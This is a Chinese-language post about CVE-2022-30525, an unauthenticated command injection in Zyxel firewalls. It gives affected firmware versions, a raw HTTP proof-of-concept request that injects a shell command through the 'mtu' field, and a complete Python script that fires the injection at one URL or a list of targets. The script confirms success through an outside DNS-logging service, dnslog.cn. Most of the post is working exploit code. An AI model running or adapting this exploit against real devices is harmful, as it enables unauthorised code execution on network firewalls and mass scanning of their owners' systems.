(CVE-2022-30525)Zyxel 防火墙未经身份验证的远程命令注入

前言

该漏洞影响支持零接触配置 (ZTP) 的 Zyxel 防火墙,其中包括 ATP 系列、VPN 系列和 USG FLEX 系列(包括 USG20-VPN 和 USG20W-VPN)。该漏洞标识为 CVE-2022-30525,允许未经身份验证的远程攻击者以nobody受影响设备上的用户身份执行任意代码。

影响版本

影响组件                                           固件版本
USG FLEX 100, 100W, 200, 500, 700                  ZLD5.00 thru ZLD5.21 Patch 1
USG20-VPN, USG20W-VPN                              ZLD5.10 thru ZLD5.21 Patch 1
ATP 100, 200, 500, 700, 800                        ZLD5.10 thru ZLD5.21 Patch 1

POC

POST /ztp/cgi-bin/handler HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Content-Type: application/json
Connection: close
Content-Length: 165

{"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged":"1","vlanid":"5","mtu":"; ping {DNSlog};","data":"hi"}

脚本

CVE-2022-30525.py

#!/usr/bin/env python
# -*- conding:utf-8 -*-
import requests
import argparse
import sys
import urllib3
import json
import time
from dnslog import get_dnslog,get_data
urllib3.disable_warnings()


def title():
    print("""
  _____ __      __ ______          ___    ___   ___   ___           ____    ___   _____  ___   _____ 
 / ____|\ \    / /|  ____|        |__ \  / _ \ |__ \ |__ \         |___ \  / _ \ | ____||__ \ | ____|
| |      \ \  / / | |__    ______    ) || | | |   ) |   ) | ______   __) || | | || |__     ) || |__  
| |       \ \/ /  |  __|  |______|  / / | | | |  / /   / / |______| |__ < | | | ||___ \   / / |___ \ 
| |____    \  /   | |____          / /_ | |_| | / /_  / /_          ___) || |_| | ___) | / /_  ___) |
 \_____|    \/    |______|        |____| \___/ |____||____|        |____/  \___/ |____/ |____||____/
                                                                                                     

                                                               Author:Henry4E36
               """)

class information(object):
    def __init__(self,args):
        self.args = args
        self.url = args.url
        self.file = args.file

    def target_url(self):
        target_url = self.url + "/ztp/cgi-bin/handler"
        headers = {
            "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:87.0) Gecko/20100101 Firefox/87.0",
            "Content-Type": "application/json"
        }
        dnslog = get_dnslog()
        data = {"command": "setWanPortSt", "proto": "dhcp", "port": "4", "vlan_tagged": "1", "vlanid": "5", "mtu": f"; ping {dnslog};", "data": "hi"}
        try:
            res = requests.post(url=target_url, headers=headers, data=json.dumps(data), verify=False, timeout=5)
        except Exception as e:
            pass

        time.sleep(5)
        data = get_data()
        if dnslog in data:
            print(f"\033[31m[{chr(8730)}] 目标系统: {self.url} 存在Zyxel 防火墙未经身份验证的远程命令注入\033[0m")
            print("[" + "-"*100 + "]")
        else:
            print(f"[\033[31mx\033[0m]  目标系统: {self.url} 不存在Zyxel 防火墙未经身份验证的远程命令注入!")
            print("[" + "-"*100 + "]")

    def file_url(self):
        with open(self.file, "r") as urls:
            for url in urls:
                url = url.strip()
                if url[:4] != "http":
                    url = "http://" + url
                self.url = url.strip()
                information.target_url(self)


if __name__ == "__main__":
    title()
    parser = ar=argparse.ArgumentParser(description='Zyxel 防火墙未经身份验证的远程命令注入')
    parser.add_argument("-u", "--url", type=str, metavar="url", help="Target url eg:\"http://127.0.0.1\"")
    parser.add_argument("-f", "--file", metavar="file", help="Targets in file  eg:\"ip.txt\"")
    args = parser.parse_args()
    if len(sys.argv) != 3:
        print(
            "[-]  参数错误!\neg1:>>>python3 CVE-2022-30525.py -u http://127.0.0.1\neg2:>>>python3 CVE-2022-30525.py -f ip.txt")
    elif args.url:
        information(args).target_url()

    elif args.file:
        information(args).file_url()

dnslog.py

import random
import requests

res = requests.session()


def get_dnslog():
    t = random.random()
    url = f"http://www.dnslog.cn/getdomain.php?t={t}"
    res1 = res.get(url=url)
    if res1.status_code == 200 and "dnslog" in res1.text:
        dnslog = res1.text
        return dnslog
    else:
        print("获取dnslog失败")


def get_data():
    t = random.random()
    url = f"http://www.dnslog.cn/getrecords.php?t={t}"
    res2 = res.get(url=url)
    return res2.text

你可能感兴趣的:(漏洞库,安全,web安全)